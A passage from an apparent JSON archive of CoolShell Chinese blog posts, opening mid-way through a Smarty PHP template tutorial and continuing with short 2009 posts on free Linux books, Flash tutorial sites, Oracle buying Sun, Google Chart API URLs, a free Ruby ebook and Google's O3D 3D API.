  \n\n　　**巢状资料的呈现**  \n\n　　  \n\n　　模版引擎里最令人伤脑筋的大概就是巢状资料的呈现吧，许多著名的模版引擎都会特意强调这点，不过这对 Smarty 来说却是小儿科。  \n\n　　  \n\n　　最常见到的巢状资料，就算论譠程序中的讨论主题区吧。假设要呈现的结果如下：  \n\n　　  \n\n　　公告区  \n\n　　  \n\n　　站务公告  \n\n　　  \n\n　　文学专区  \n\n　　  \n\n　　好书介绍  \n\n　　  \n\n　　奇文共赏  \n\n　　  \n\n　　计算机专区  \n\n　　  \n\n　　硬件外围  \n\n　　  \n\n　　软件讨论  \n\n　　  \n\n　　程序中我们先以静态资料为例：  \n\n　　  \n\n　　test3.php:  \n\n　　\n\n\n\n```\n\n　　<?php\n　　require \"main.php\";\n　　$forum = array(\n　　array(\"category_id\" => 1, \"category_name\" => \"公告区\",\n　　\"topic\" => array(\n　　array(\"topic_id\" => 1, \"topic_name\" => \"站务公告\")\n　　)\n　　),\n　　array(\"category_id\" => 2, \"category_name\" => \"文学专区\",\n　　\"topic\" => array(\n　　array(\"topic_id\" => 2, \"topic_name\" => \"好书介绍\"),\n　　array(\"topic_id\" => 3, \"topic_name\" => \"奇文共赏\")\n　　)\n　　),\n　　array(\"category_id\" => 3, \"category_name\" => \"计算机专区\",\n　　\"topic\" => array(\n　　array(\"topic_id\" => 4, \"topic_name\" => \"硬件外围\"),\n　　array(\"topic_id\" => 5, \"topic_name\" => \"软件讨论\")\n　　)\n　　)\n　　);\n　　$tpl->assign(\"forum\", $forum);\n　　$tpl->display(\"test3.htm\");\n　　?>\n　　\n```\n\n　　模版的写法如下：  \n\n　　  \n\n　　templates/test3.htm:  \n\n　　\n\n\n\n```\n\n　　<html>\n　　<head>\n　　<title>巢状循环测试</title>\n　　</head>\n　　<body>\n　　\n<table width=\"200\" border=\"0\" align=\"center\" cellpadding=\"3\" cellspacing=\"0\">\n　　<{section name=sec1 loop=$forum}>\n　　\n<tr>\n　　\n<td colspan=\"2\"><{$forum[sec1].category_name}></td>\n　　</tr>\n　　<{section name=sec2 loop=$forum[sec1].topic}>\n　　\n<tr>\n　　\n<td width=\"25\"></td>\n　　\n<td width=\"164\"><{$forum[sec1].topic[sec2].topic_name}></td>\n　　</tr>\n　　<{/section}>\n　　<{/section}>\n　　</table>\n　　</body>\n　　</html>\n　　\n```\n\n　　执行的结果就像笔者举的例子一样。  \n\n　　  \n\n　　因此呢，在程序中我们只要想办法把所要重复值一层一层的塞到数组中，再利用 <{第一层数组[循环1].第二层数组[循环2].第三层数组[循环3]. … .数组索引}> 这样的方式来显示每一个巢状循环中的值。至于用什么方法呢？下一节使用数据库时我们再提。  \n\n　　  \n\n　　**转换数据库中的资料**  \n\n　　  \n\n　　上面提到如何显示巢状循环，而实际上应用时我们的资料可能是从数据库中抓取出来的，所以我们就得想办法把数据库的资料变成上述的多重数组的形式。这里笔者用一个 DB 类别来抓取数据库中的资料，您可以自行用您喜欢的方法。  \n\n　　  \n\n　　我们只修改 PHP 程序，模版还是上面那个 (这就是模版引擎的好处~)，其中 $db 这个对象假设已经在 main.php 中建立好了，而且抓出来的资料就是上面的例子。  \n\n　　  \n\n　　test3.php:  \n\n　　\n\n\n\n```\n\n　　<?php\n　　require \"main.php\";\n　　// 先建立第一层数组\n　　$category = array();\n　　$db->set<span class=\"t_tag\">SQL</span>($SQL1, 'CATEGORY');\n　　if (!$db->query('CATEGORY')) die($db->error());\n　　// 抓取第一层循环的资料\n　　while ($item_category = $db->fetchAssoc('CATEGORY'))\n　　{\n　　// 建立第二层数组\n　　$topic = array();\n　　$db->setSQL(sprintf($SQL2, $item_category['category_id']), 'TOPIC');\n　　if (!$db->query('TOPIC')) die($db->error());\n　　// 抓取第二层循环的资料\n　　while ($item_topic = $db->fetchAssoc('TOPIC'))\n　　{\n　　// 把抓取的数据推入第二层数组中\n　　array_push($topic, $item_topic);\n　　}\n　　// 把第二层数组指定为第一层数组所抓取的数据中的一个成员\n　　$item_category['topic'] = $topic;\n　　// 把第一层数据推入第一层数组中\n　　array_push($category, $item_category);\n　　}\n　　$tpl->assign(\"forum\", $category);\n　　$tpl->display(\"test3.htm\");\n　　?>\n　　\n```\n\n　　在数据库抓取一笔资料后，我们得到的是一个包含该笔数据的数组。透过 while 叙述及 array\\_push 函式，我们将数据库中的资料一笔一笔塞到数组里。如果您只用到单层循环，就把第二层循环 (红色的部份) 去掉即可。  \n\n　　  \n\n　　**决定内容是否显示**  \n\n　　  \n\n　　要决定是否显示内容，我们可以使用 if 这个语法来做选择。例如如果使用者已经登入的话，我们的模版就可以这样写：  \n\n　　  \n\n　　<{if $is\\_login == true}>  \n\n　　显示使用者操作选单  \n\n　　<{else}>  \n\n　　显示输入帐号和密码的窗体  \n\n　　<{/if}>  \n\n　　  \n\n　　要注意的是，「==」号两边一定要各留至少一个空格符，否则 Smarty 会无法解析。  \n\n　　  \n\n　　if 语法一般的应用可以参照官方使用说明，所以笔者在这里就不详加介绍了。不过笔者发现了一个有趣的应用：常常会看到程序里要产生这样的一个表格： (数字代表的是资料集的顺序)  \n\n　　  \n\n　　1 2  \n\n　　  \n\n　　3 4  \n\n　　  \n\n　　5 6  \n\n　　  \n\n　　7 8  \n\n　　  \n\n　　这个笔者称之为「横向重复表格」。它的特色和传统的纵向重复不同，前几节我们看到的重复表格都是从上而下，一列只有一笔资料。而横向重复表格则可以横向地在一列中产生 n 笔资料后，再换下一列，直到整个循环结束。要达到这样的功能，最简单的方式只需要 section 和 if 搭配即可。  \n\n　　  \n\n　　我们来看看下面这个例子：  \n\n　　  \n\n　　test4.php:  \n\n　　\n\n\n\n```\n\n　　<?php\n　　require \"main.php\";\n　　$my_array = array(\n　　array(\"value\" => \"0\"),\n　　array(\"value\" => \"1\"),\n　　array(\"value\" => \"2\"),\n　　array(\"value\" => \"3\"),\n　　array(\"value\" => \"4\"),\n　　array(\"value\" => \"5\"),\n　　array(\"value\" => \"6\"),\n　　array(\"value\" => \"7\"),\n　　array(\"value\" => \"8\"),\n　　array(\"value\" => \"9\"));\n　　$tpl->assign(\"my_array\", $my_array);\n　　$tpl->display('test4.htm');\n　　?>\n　　\n```\n\n　　模版的写法如下：  \n\n　　  \n\n　　templates/test4.htm:  \n\n　　\n\n\n\n```\n\n　　<html>\n　　<head>\n　　<title>横向重复表格测试</title>\n　　</head>\n　　<body>\n　　\n<table width=\"500\" border=\"1\" cellspacing=\"0\" cellpadding=\"3\">\n　　\n<tr>\n　　<{section name=sec1 loop=$my_array}>\n　　\n<td><{$my_array[sec1].value}></td>\n　　<{if $smarty.section.sec1.rownum is div by 2}>\n　　</tr>\n　　\n<tr>\n　　<{/if}>\n　　<{/section}>\n　　</tr>\n　　</table>\n　　</body>\n　　</html>\n　　\n```\n\n　　重点在于 $smarty.section.sec1.rownum 这个 Smarty 变量，在 section 循环中这个变量会取得从 1 开始的索引值，所以当 rownum 能被 2 除尽时，就输出 </tr><tr> 使表格换列 (注意！是 </tr> 在前面<tr> 在后面) 。因此数字 2 就是我们在一列中想要呈现的资料笔数。各位可以由此去变化其它不同的呈现方式。  \n\n　　  \n\n　　**加载外部内容**  \n\n　　  \n\n　　我们可以在模版内加载 PHP 程序代码或是另一个子模版，分别是使用 include\\_php 及 include 这两个 Smarty 模版语法； include\\_php 笔者较少用，使用方式可以查询官方手册，这里不再叙述。  \n\n　　  \n\n　　在使用 include 时，我们可以预先加载子模版，或是动态加载子模版。预先加载通常使用在有共同的文件标头及版权宣告；而动态加载则可以用在统一的框架页，而进一步达到如 Winamp 般可换 Skin 。当然这两种我们也可以混用，视状况而定。  \n\n　　  \n\n　　我们来看看下面这个例子：  \n\n　　  \n\n　　test5.php:  \n\n　　\n\n\n\n```\n\n　　<?php\n　　require \"main.php\";\n　　$tpl->assign(\"title\", \"Include 测试\");\n　　$tpl->assign(\"content\", \"这是模版 2 中的变量\");\n　　$tpl->assign(\"dyn_page\", \"test5_3.htm\");\n　　$tpl->display('test5_1.htm');\n　　?>\n　　\n```\n\n　　模版 1 的写法如下：  \n\n　　  \n\n　　templates/test5\\_1.htm:  \n\n　　\n\n\n\n```\n\n　　<html>\n　　<head>\n　　<meta http-equiv=\"Content-Type\" content=\"text/html; charset=big5\">\n　　<title><{$title}></title>\n　　</head>\n　　<body>\n　　<{include file=\"test5_2.htm\"}>\n　　<{include file=$dyn_page}>\n　　<{include file=\"test5_4.htm\" custom_var=\"自订变量的内容\"}>\n　　</body>\n　　</html>\n　　\n```\n\n　　模版 2 的写法如下：  \n\n　　  \n\n　　templates/test5\\_2.htm:  \n\n　　  \n\n　　<{$content}>  \n\n　　模版 3 的写法如下：  \n\n　　  \n\n　　templates/test5\\_3.htm:  \n\n　　  \n\n　　这是模版 3 的内容  \n\n　　模版 4 的写法如下：  \n\n　　  \n\n　　templates/test5\\_4.htm:  \n\n　　  \n\n　　<{$custom\\_var}>\n\n\n　　这里注意几个重点：1. 模版的位置都是以先前定义的 template\\_dir 为基准；2. 所有 include 进来的子模版中，其变量也会被解译。；3. include 中可以用「变量名称=变量内容」来指定引含进来的模版中所包含的变量，如同上面模版 4 的做法。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![9个强大免费的PHP库](../wp-content/uploads/2009/04/akismet-150x150.jpg)](https://coolshell.cn/articles/455.html)[9个强大免费的PHP库](https://coolshell.cn/articles/455.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\n* [![PHP分页技术的代码和示例](../wp-content/uploads/2011/08/Pagination-e1312791884744-150x150.jpg)](https://coolshell.cn/articles/5160.html)[PHP分页技术的代码和示例](https://coolshell.cn/articles/5160.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4795.html)[开源中最好的Web开发的资源](https://coolshell.cn/articles/4795.html)\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\nThe post [菜鸟学PHP之Smarty入门](https://coolshell.cn/articles/559.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-2 超过100本的linux免费书籍.md",
    "content": "---\nlayout: post\ntitle: 超过100本的linux免费书籍\ndate: 2009/4/2/ 2:49:19\nupdated: 2009/4/2/ 2:49:19\nstatus: publish\npublished: true\ntype: post\n---\n\n在[http://www.linuxtopia.org/images/toplogo.jpg \"Linuxtopia\"](http://www.linuxtopia.org/)上有100多本关于Linux的免费书籍，书籍涉及到多Linux编程的领域\n\n\n包括\n\n\n* WEB开发书籍\n* 桌面GUI开发\n* 数据库方面的书籍\n* Linux安全方面\n\n\n等等，还有其他众多脚本语言的开发书籍。\n\n\n更多内容请查看：[这里](http://www.linuxtopia.org/online_books/index.html)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![缓存更新的套路](../wp-content/uploads/2016/07/cache-150x150.png)](https://coolshell.cn/articles/17416.html)[缓存更新的套路](https://coolshell.cn/articles/17416.html)\nThe post [超过100本的linux免费书籍](https://coolshell.cn/articles/336.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-20 5个不错的Flash的英文教程网.md",
    "content": "---\nlayout: post\ntitle: 5个不错的Flash的英文教程网\ndate: 2009/4/20/ 4:34:43\nupdated: 2009/4/20/ 4:34:43\nstatus: publish\npublished: true\ntype: post\n---\n\n下面的这5个教程纯属个人观点，另外他们还都是免费的。\n\n\n- **[MrSunStudios](http://mrsunstudios.com/)**– 这是一个非常不错的教程网站。里面有大量大量的关于ActionScript，PHP等等的教程。能教会你做很多很实用的东西。\n\n- **[AwestyProductions](http://awestyproductions.com/)**– 虽然没怎么更新了，但他还是一个很不错的网站，其教你怎么去做一个小游戏。注意，其只是AS2的\n\n- **[Kirupa](http://kirupa.com/)**– 虽然没有太多的教程，不过这是一个巨大的社区，只要你问问题，你可以很快得得到他们的帮助和答案。当你遇到你无法解决的问题时，这是相当相当的不错的去处。\n\n- **[Flash Explained](http://flashexplained.com/)**– 超过9页的非常不错的教程。\n\n- **[Flash Magazine](http://www.flashmagazine.com/Tutorials/index)– 并不只是一个杂志，其还有很多教程，那才是这个网站最重要的。**\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [![流体力学的演示](../wp-content/uploads/2010/12/Liquid-150x150.jpg)](https://coolshell.cn/articles/3421.html)[流体力学的演示](https://coolshell.cn/articles/3421.html)\n* [![游戏Flash vs HTML5](../wp-content/uploads/2010/11/flash_vs_html5-150x150.jpg)](https://coolshell.cn/articles/3267.html)[游戏Flash vs HTML5](https://coolshell.cn/articles/3267.html)\n* [![一些非常有意思的杂项资源](../wp-content/uploads/2010/09/biolab-150x150.jpg)](https://coolshell.cn/articles/3013.html)[一些非常有意思的杂项资源](https://coolshell.cn/articles/3013.html)\n* [![你准备使用 HTML 5 吗？](../wp-content/uploads/2010/09/WTF_HTML51-150x150.jpg)](https://coolshell.cn/articles/2926.html)[你准备使用 HTML 5 吗？](https://coolshell.cn/articles/2926.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/2735.html)[HTML5 和 Flash 之争](https://coolshell.cn/articles/2735.html)\nThe post [5个不错的Flash的英文教程网](https://coolshell.cn/articles/585.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-20 Oracle成功收购Sun.md",
    "content": "---\nlayout: post\ntitle: Oracle成功收购Sun\ndate: 2009/4/20/ 16:10:48\nupdated: 2009/4/20/ 16:10:48\nstatus: publish\npublished: true\ntype: post\n---\n\n[![sun-oracle](../wp-content/uploads/2009/04/sun-oracle.jpg \"sun-oracle\")](https://coolshell.cn/wp-content/uploads/2009/04/sun-oracle.jpg)前段时间还传出IBM要收购Sun的消息，当然，如果IBM收购Sun了，那么[IBM真是活雷锋](https://coolshell.cn/articles/203.html)了。呵呵。\n\n\n今天，Oralce正式宣布成功收购Sun，原文在[这里](http://news.prnewswire.com/DisplayReleaseContent.aspx?ACCT=104&STORY=/www/story/04-20-2009/0005008591&EDATE=)。Oracle以每股9.5美元，总共以74亿美金的天价收购Sun公司，其中，56亿美金付现或购买Sun的债务。现在，Java, Solairs以及MySQL都是Oracle的了。\n\n\nOracle的CEO——Larry Ellison说：“The acquisition of Sun transforms the IT industry, combining best-in-class enterprise software and mission-critical computing systems” 。\n\n\n让我们看看这次收购以后还会发生什么样的事情。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Oracle的战书！](../wp-content/uploads/2009/09/sun_customers_lg-150x150.gif)](https://coolshell.cn/articles/1426.html)[Oracle的战书！](https://coolshell.cn/articles/1426.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg](https://coolshell.cn/articles/962.html)[【原创】SQL栏目树的代码](https://coolshell.cn/articles/962.html)\n* [![IBM收购Sun，这是一种什么样的精神？](../wp-content/uploads/2009/03/ibm-potentially-buying-sun-150x150.jpg)](https://coolshell.cn/articles/203.html)[IBM收购Sun，这是一种什么样的精神？](https://coolshell.cn/articles/203.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg](https://coolshell.cn/articles/3311.html)[几篇技术文章](https://coolshell.cn/articles/3311.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/878.html)[一个C的序列化库tpl](https://coolshell.cn/articles/878.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/6913.html)[神奇的CSS形状](https://coolshell.cn/articles/6913.html)\nThe post [Oracle成功收购Sun](https://coolshell.cn/articles/595.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-20 使用Google API做统计图.md",
    "content": "---\nlayout: post\ntitle: 使用Google API做统计图\ndate: 2009/4/20/ 4:9:31\nupdated: 2009/4/20/ 4:9:31\nstatus: publish\npublished: true\ntype: post\n---\n\nGoogle提供了一个的统计图的API。你可以通过构造一个URL链接来获得Google提供的统计图方案。\n\n\n比如：如果我们使用如下链接：\n\n\n\n```\n\n<img src=\"http://chart.apis.google.com/chart?cht=p3&chd=t:60,40&chs=250x100&chl=酷壳|Cocre\" alt=\"\" />\n\n```\n\n我们就可能通过如下的HTML代码显示一个60:40的饼图：  \n\nhttp://chart.apis.google.com/chart?cht=p3&chd=t:60,40&chs=250x100&chl=酷壳|Cocre\n\n\nGoogle的这个API支持的统计图风格相当的多。\n\n\n\n比如：\n\n\n\n```\n\n<img src=\"http://chart.apis.google.com/chart?chs=200x125&cht=ls&chco=0077CC&chd=t:27,25,60,31,25,39,25,31,26,28,80,28,27,31,27,29,26,35,70,25\" alt=\"Sparkline chart in blue\" />\n\n```\n\nhttp://chart.apis.google.com/chart?chs=200x125&cht=ls&chco=0077CC&chd=t:27,25,60,31,25,39,25,31,26,28,80,28,27,31,27,29,26,35,70,25\n\n\n还甚至支持有世界地图式的统计图：\n\n\n\n```\n\n<img src=\"http://chart.apis.google.com/chart?cht=t&chs=440x220&chd=t:0,100,50,32,60,40,43,12,14,54,98,17,70,76,18,29&chco=FFFFFF,FF0000,FFFF00,00FF00&chld=DZEGMGAOBWNGCFKECGCVSNDJTZGHMZZM&chtm=africa&chf=bg,s,EAF7FE\" alt=\"Map of Africa\" />\n\n```\n\nhttp://chart.apis.google.com/chart?cht=t&chs=440x220&chd=t:0,100,50,32,60,40,43,12,14,54,98,17,70,76,18,29&chco=FFFFFF,FF0000,FFFF00,00FF00&chld=DZEGMGAOBWNGCFKECGCVSNDJTZGHMZZM&chtm=africa&chf=bg,s,EAF7FE\n\n\n更多的内容请到<http://code.google.com/apis/chart/> 上查看吧。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![我看ChatGPT: 为啥谷歌掉了千亿美金](../wp-content/uploads/2023/02/chatgpt-150x150.jpg)](https://coolshell.cn/articles/22398.html)[我看ChatGPT: 为啥谷歌掉了千亿美金](https://coolshell.cn/articles/22398.html)\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [![PFIF网上寻人协议](../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png)](https://coolshell.cn/articles/9508.html)[PFIF网上寻人协议](https://coolshell.cn/articles/9508.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/5815.html)[来信， 创业 和 移动互联网](https://coolshell.cn/articles/5815.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/5701.html)[SteveY对Amazon和Google平台的吐槽](https://coolshell.cn/articles/5701.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\nThe post [使用Google API做统计图](https://coolshell.cn/articles/582.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-20 免费电子书：Ruby Complete.md",
    "content": "---\nlayout: post\ntitle: 免费电子书：Ruby Complete\ndate: 2009/4/20/ 15:14:58\nupdated: 2009/4/20/ 15:14:58\nstatus: publish\npublished: true\ntype: post\n---\n\n这是一本免费的关于教你如何使用Ruby编程的电子书。作者：Huw Collingbourne， SapphireSteel Software 公司的Technology Directory，他也是一个开发 Visual Studio下的Ruby Steel IDE的程序员。这本书给大家提供非常全面的教程，其涵养了几乎所有主要的Ruby编程的东西。\n\n\n每一章的代码都可以被下载。如果你是一个 Ruby In Steel 的用户，那么，你可以在一个单一的Visual Studio solution 中载入这些代码，并可以在集成的 Ruby Console 上运行这些代码，并调试之。\n\n\n\n下面这是这本书的一些特性：\n\n\n* 425 页。\n* 20 章节。\n* 超过 84,000 个词。\n* 超过300 个可以运行的示例代码。\n* 100% 的免费!\n\n\n\nhttp://www.sapphiresteel.com/IMG/png/book-of-ruby-complete.png \"book-of-ruby-complete\"\n\n\n[下载这本书和其所有的源码](http://www.sapphiresteel.com/IMG/zip/book-of-ruby.zip) (*大小2.9MB* )\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/10337.html)[数据即代码：元驱动编程](https://coolshell.cn/articles/10337.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/5709.html)[API设计：用流畅接口构造内部DSL](https://coolshell.cn/articles/5709.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5202.html)[对象的消息模型](https://coolshell.cn/articles/5202.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/4710.html)[Python 和 PyGame 的一些示例](https://coolshell.cn/articles/4710.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/4220.html)[一些有意思的文章和资源](https://coolshell.cn/articles/4220.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/3903.html)[一些有意思的贴子和工具](https://coolshell.cn/articles/3903.html)\nThe post [免费电子书：Ruby Complete](https://coolshell.cn/articles/591.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-22 Google 三维 JavaScript API 发布.md",
    "content": "---\nlayout: post\ntitle: Google 三维 JavaScript API 发布\ndate: 2009/4/22/ 4:1:41\nupdated: 2009/4/22/ 4:1:41\nstatus: publish\npublished: true\ntype: post\n---\n\nO3D 是一个开源的Web API，其可以创建相当牛X的基于浏览器的可交互式的3D应用。这个API在很有可能会形成以后的Web上的3D图形的标准。下面是这个API的主站点： <http://code.google.com/apis/o3d/> 。O3D目前支持Windows, Mac和Linux三种平台。\n\n\n下面是一些简单地使用O3D的API的如何创建一个立方体，更详细的内容请访问O3D的网站。\n\n\n1）首选我们先创建一个比较原始的立方体。使用createCube()方法。\n\n\n[javascript]\n\n\nfunction createCube(material) {  \n\n var cubeShape = g\\_pack.createObject(‘Shape’);  \n\n var cubePrimitive = g\\_pack.createObject(‘Primitive’);  \n\n var streamBank = g\\_pack.createObject(‘StreamBank’);\n\n\n cubePrimitive.material = material;  \n\n cubePrimitive.owner(cubeShape);  \n\n cubePrimitive.streamBank = streamBank;  \n\n .  \n\n .  \n\n .  \n\n[/javascript]\n\n\n  \n\n 2）然后，我们需要指定一些顶点信息。  \n\n其中，我们利用三角形来构造3D图形。一个立方体有12个三角面，两个构成一个面，然后有8个顶点。  \n\n[javascript]  \n\n cubePrimitive.primitiveType = g\\_o3d.Primitive.TRIANGLELIST;  \n\n cubePrimitive.numberPrimitives = 12; // 12 triangles  \n\n cubePrimitive.numberVertices = 8; // 8 vertices in total  \n\n cubePrimitive.createDrawElement(g\\_pack, null); // Create the draw element for this primitive.  \n\n[/javascript]\n\n\n3）指定一下8个顶点的坐标。  \n\n[javascript]  \n\nvar positionArray = [  \n\n -0.5, -0.5, 0.5, // vertex 0  \n\n 0.5, -0.5, 0.5, // vertex 1  \n\n -0.5, 0.5, 0.5, // vertex 2  \n\n 0.5, 0.5, 0.5, // vertex 3  \n\n -0.5, 0.5, -0.5, // vertex 4  \n\n 0.5, 0.5, -0.5, // vertex 5  \n\n -0.5, -0.5, -0.5, // vertex 6  \n\n 0.5, -0.5, -0.5 // vertex 7  \n\n ];  \n\n[/javascript]\n\n\n4）把顶点坐标数组加入Buffer中。  \n\n[javascript]  \n\n// Create buffers containing the vertex data.  \n\nvar positionsBuffer = g\\_pack.createObject(‘VertexBuffer’);  \n\nvar positionsField = positionsBuffer.createField(‘FloatField’, 3);  \n\npositionsBuffer.set(positionArray);  \n\n[/javascript]\n\n\n5）把Buffer放到Stream Bank中。\n\n\n[javascript]  \n\n// Associate the positions Buffer with the StreamBank.  \n\nstreamBank.setVertexStream(  \n\n g\\_o3d.Stream.POSITION, // semantic: This stream stores vertex positions  \n\n 0, // semantic index: First (and only) position stream  \n\n positionsField, // field: the field this stream uses.  \n\n 0); // start\\_index: How many elements to skip in the field.  \n\n[/javascript] \n\n\n6）连接点成为三角面，并把三角面两两一组组成立方面。  \n\n[javascript]  \n\nvar indicesArray = [  \n\n 0, 1, 2, // face 1  \n\n 2, 1, 3,  \n\n 2, 3, 4, // face 2  \n\n 4, 3, 5,  \n\n 4, 5, 6, // face 3  \n\n 6, 5, 7,  \n\n 6, 7, 0, // face 4  \n\n 0, 7, 1,  \n\n 1, 7, 3, // face 5  \n\n 3, 7, 5,  \n\n 6, 0, 4, // face 6  \n\n 4, 0, 2  \n\n ];  \n\n[/javascript]\n\n\n完整的源码请参看这里：（打开网页后查看源码）  \n\n<http://o3d.googlecode.com/svn/trunk/samples/hellocube.html>\n\n\n最后，让我们看一看下面YouTube上的视频，你就知道这个东西有多强了。[YouTube链接](http://www.youtube.com/watch?v=uofWfXOzX-g)。\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![我看ChatGPT: 为啥谷歌掉了千亿美金](../wp-content/uploads/2023/02/chatgpt-150x150.jpg)](https://coolshell.cn/articles/22398.html)[我看ChatGPT: 为啥谷歌掉了千亿美金](https://coolshell.cn/articles/22398.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![如何读懂并写出装逼的函数式代码](../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg)](https://coolshell.cn/articles/17524.html)[如何读懂并写出装逼的函数式代码](https://coolshell.cn/articles/17524.html)\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\nThe post [Google 三维 JavaScript API 发布](https://coolshell.cn/articles/599.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-22 Java如何取源文件中文件名和行号.md",
